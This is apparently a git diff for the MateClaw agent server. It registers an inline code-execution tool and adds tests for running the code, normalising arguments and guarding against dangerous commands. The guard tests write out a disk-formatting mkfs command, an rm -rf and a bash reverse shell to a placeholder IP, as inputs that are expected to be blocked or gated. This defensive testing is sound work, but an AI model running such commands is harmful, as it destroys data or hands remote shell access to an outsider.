Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem) MERGE INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1861,7 +1866,7 @@ SELECT 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql b/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql new file mode 100644 index 00000000..3b42fd65 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql @@ -0,0 +1,5 @@ +-- V143: Register CodeExecuteTool as a built-in tool. +-- Idempotent: MERGE INTO updates the existing row when the id matches. +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); diff --git a/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql b/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql new file mode 100644 index 00000000..82a874e3 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql @@ -0,0 +1,4 @@ +-- V143: Register CodeExecuteTool as a built-in tool. +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), update_time=VALUES(update_time); diff --git a/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java b/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java new file mode 100644 index 00000000..07c278c5 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java @@ -0,0 +1,139 @@ +package vip.mate.skill.runtime; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.List; +import java.util.Locale; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assumptions.assumeTrue; + +/** + * Tests for {@link SkillScriptExecutionService#executeCode}, the inline + * code-execution entry point that makes documentation-only skills runnable. + * + *

Subprocess-backed cases are gated on the interpreter being present so the + * suite stays green on hosts without python / bash (e.g. Windows CI). + */ +class SkillScriptExecutionServiceCodeTest { + + private static final boolean IS_WINDOWS = + System.getProperty("os.name", "").toLowerCase(Locale.ROOT).contains("win"); + + private final SkillScriptExecutionService service = new SkillScriptExecutionService(); + + @Test + @DisplayName("rejects an unsupported language") + void rejectsUnknownLanguage(@TempDir Path dir) { + var result = service.executeCode("ruby", "puts 1", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("Unsupported language"); + } + + @Test + @DisplayName("rejects blank code") + void rejectsBlankCode(@TempDir Path dir) { + var result = service.executeCode("python", " ", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("No code supplied"); + } + + @Test + @DisplayName("rejects a non-existent caller-supplied working directory") + void rejectsMissingWorkingDir() { + var result = service.executeCode("python", "print(1)", + Path.of("/no/such/dir/" + System.nanoTime()), null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("Working directory does not exist"); + } + + @Test + @DisplayName("runs in a private scratch dir when working directory is null") + void runsWithNullWorkingDir() { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", "print('scratch-ok')", null, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("scratch-ok"); + } + + @Test + @DisplayName("runs python code and captures stdout") + void runsPython(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", "print('hello from py')", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("hello from py"); + } + + @Test + @DisplayName("injects supplied env vars into the subprocess") + void injectsEnvVars(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", + "import os; print(os.environ.get('MY_SKILL_TOKEN'))", + dir, null, Map.of("MY_SKILL_TOKEN", "s3cr3t"), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("s3cr3t"); + } + + @Test + @DisplayName("scrubs sensitive host env vars from the code subprocess") + void scrubsSensitiveHostEnv(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + // A *_KEY name in the parent process must not leak into LLM-authored code. + // We can't set the parent env here, but PATH-like vars survive while any + // KEY/SECRET/TOKEN parent var is stripped — assert a known scrubbed name + // is absent rather than relying on a specific host secret being set. + var result = service.executeCode("python", + "import os; print('LEAK' if any(k.endswith('_SECRET') for k in os.environ) else 'CLEAN')", + dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("CLEAN"); + } + + @Test + @DisplayName("runs bash code on unix") + void runsBash(@TempDir Path dir) { + assumeTrue(!IS_WINDOWS && hasInterpreter("bash")); + var result = service.executeCode("bash", "echo from-bash", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("from-bash"); + } + + @Test + @DisplayName("forwards positional args to the program") + void forwardsArgs(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", + "import sys; print(sys.argv[1])", dir, List.of("the-arg"), Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("the-arg"); + } + + @Test + @DisplayName("leaves no temp code file behind in the working directory") + void cleansUpTempFile(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + service.executeCode("python", "print('x')", dir, null, Map.of(), null); + try (var stream = Files.list(dir)) { + assertThat(stream.toList()).isEmpty(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private static boolean hasInterpreter(String name) { + try { + Process p = new ProcessBuilder(name, "--version") + .redirectErrorStream(true).start(); + return p.waitFor(10, java.util.concurrent.TimeUnit.SECONDS) && p.exitValue() == 0; + } catch (Exception e) { + return false; + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java new file mode 100644 index 00000000..6444d4a1 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java @@ -0,0 +1,59 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Unit tests for {@link CodeExecuteTool#normalizeArgs(String)} — the decode step + * that turns the JSON-encoded {@code args} tool parameter into the positional + * argument list passed to the executed code. + * + *

Unlike a skill script, inline code rarely needs a JSON payload, so the rule + * is simpler than {@code SkillScriptTool}: a JSON array expands to one argument + * per element; everything else (including a bare scalar that merely looks + * numeric) is forwarded verbatim as a single argument. + */ +class CodeExecuteToolArgsTest { + + private final ObjectMapper objectMapper = new ObjectMapper(); + + /** Unused collaborators are null — {@code normalizeArgs} only needs the mapper. */ + private final CodeExecuteTool tool = + new CodeExecuteTool(null, null, null, objectMapper); + + @Test + @DisplayName("null / blank / empty-array args yield no argument list") + void emptyInputs() { + assertThat(tool.normalizeArgs(null)).isNull(); + assertThat(tool.normalizeArgs("")).isNull(); + assertThat(tool.normalizeArgs(" ")).isNull(); + assertThat(tool.normalizeArgs("[]")).isNull(); + } + + @Test + @DisplayName("a JSON array maps to one positional argument per element") + void arrayKeepsElements() { + assertThat(tool.normalizeArgs("[\"--verbose\",\"input.txt\"]")) + .containsExactly("--verbose", "input.txt"); + assertThat(tool.normalizeArgs("[1,2,3]")) + .containsExactly("1", "2", "3"); + } + + @Test + @DisplayName("a bare scalar is forwarded verbatim, never JSON-decoded") + void bareScalarUntouched() { + assertThat(tool.normalizeArgs("2026-05-19")).containsExactly("2026-05-19"); + assertThat(tool.normalizeArgs(" hello world ")).containsExactly("hello world"); + } + + @Test + @DisplayName("text that looks like a JSON array but does not parse is forwarded verbatim") + void malformedArrayForwardedVerbatim() { + assertThat(tool.normalizeArgs("[1,2")).containsExactly("[1,2"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java index 4f24deda..b444ff02 100644 --- a/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/DefaultToolGuardTest.java @@ -118,6 +118,33 @@ class DefaultToolGuardTest { assertTrue(result.isBlocked()); } + // ===== 代码执行器 execute_code ===== + + @Test + @DisplayName("execute_code 命中极端破坏性模式时直接拦截") + void shouldBlockDangerousCodeExecution() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}"); + assertTrue(result.isBlocked()); + } + + @Test + @DisplayName("execute_code 中的高风险删除命令需要审批") + void shouldGateDeleteInCode() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"bash\",\"code\":\"rm -rf /tmp/data\"}"); + assertTrue(result.needsApproval()); + } + + @Test + @DisplayName("execute_code 即使无破坏性模式也需要审批") + void shouldRequireApprovalForBenignCode() { + ToolGuardResult result = toolGuard.check("execute_code", + "{\"language\":\"python\",\"code\":\"print(1)\"}"); + assertFalse(result.isBlocked()); + assertTrue(result.needsApproval()); + } + // ===== 安全操作(不应被拦截) ===== @Test diff --git a/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java new file mode 100644 index 00000000..a826b610 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java @@ -0,0 +1,84 @@ +package vip.mate.tool.guard.guardian; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import vip.mate.tool.guard.engine.ToolGuardRuleRegistry; +import vip.mate.tool.guard.model.GuardCategory; +import vip.mate.tool.guard.model.GuardFinding; +import vip.mate.tool.guard.model.GuardSeverity; +import vip.mate.tool.guard.model.ToolInvocationContext; + +import java.util.List; +import java.util.regex.Pattern; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Verifies that the live guard path ({@link ShellCommandGuardian}) screens the + * {@code execute_code} tool against the same dangerous-pattern ruleset as direct + * shell execution. With no DB rules for the tool, the guardian falls back to its + * built-in rules, so LLM-authored code containing destructive commands is caught. + */ +class ShellCommandGuardianCodeTest { + + private ShellCommandGuardian newGuardian() { + ToolGuardRuleRegistry registry = mock(ToolGuardRuleRegistry.class); + // No DB rules → guardian owns the invocation and uses built-in rules. + when(registry.getRulesForTool("execute_code")).thenReturn(List.of()); + when(registry.getCompiledPattern(org.mockito.ArgumentMatchers.anyString())) + .thenAnswer(inv -> Pattern.compile(inv.getArgument(0), Pattern.CASE_INSENSITIVE)); + return new ShellCommandGuardian(registry); + } + + @Test + @DisplayName("supports execute_code as a shell-equivalent tool") + void supportsExecuteCode() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"code\":\"print(1)\"}", "conv-1", "agent-1"); + assertThat(guardian.supports(ctx)).isTrue(); + } + + @Test + @DisplayName("flags a destructive mkfs command inside execute_code as CRITICAL") + void flagsDestructiveCode() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"mkfs.ext4 /dev/sda1\"}", "conv-1", "agent-1"); + List findings = guardian.evaluate(ctx); + assertThat(findings).isNotEmpty(); + assertThat(findings).anyMatch(f -> f.severity() == GuardSeverity.CRITICAL + && f.category() == GuardCategory.COMMAND_INJECTION); + } + + @Test + @DisplayName("gates a high-risk rm -rf inside execute_code") + void gatesRecursiveDelete() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"rm -rf /tmp/data\"}", "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isNotEmpty(); + } + + @Test + @DisplayName("flags a reverse-shell payload inside execute_code") + void flagsReverseShell() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"bash\",\"code\":\"bash -i >& /dev/tcp/1.2.3.4/4444 0>&1\"}", + "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isNotEmpty(); + } + + @Test + @DisplayName("benign code produces no findings") + void benignCodeClean() { + ShellCommandGuardian guardian = newGuardian(); + ToolInvocationContext ctx = ToolInvocationContext.of( + "execute_code", "{\"language\":\"python\",\"code\":\"print(sum(range(10)))\"}", + "conv-1", "agent-1"); + assertThat(guardian.evaluate(ctx)).isEmpty(); + } +}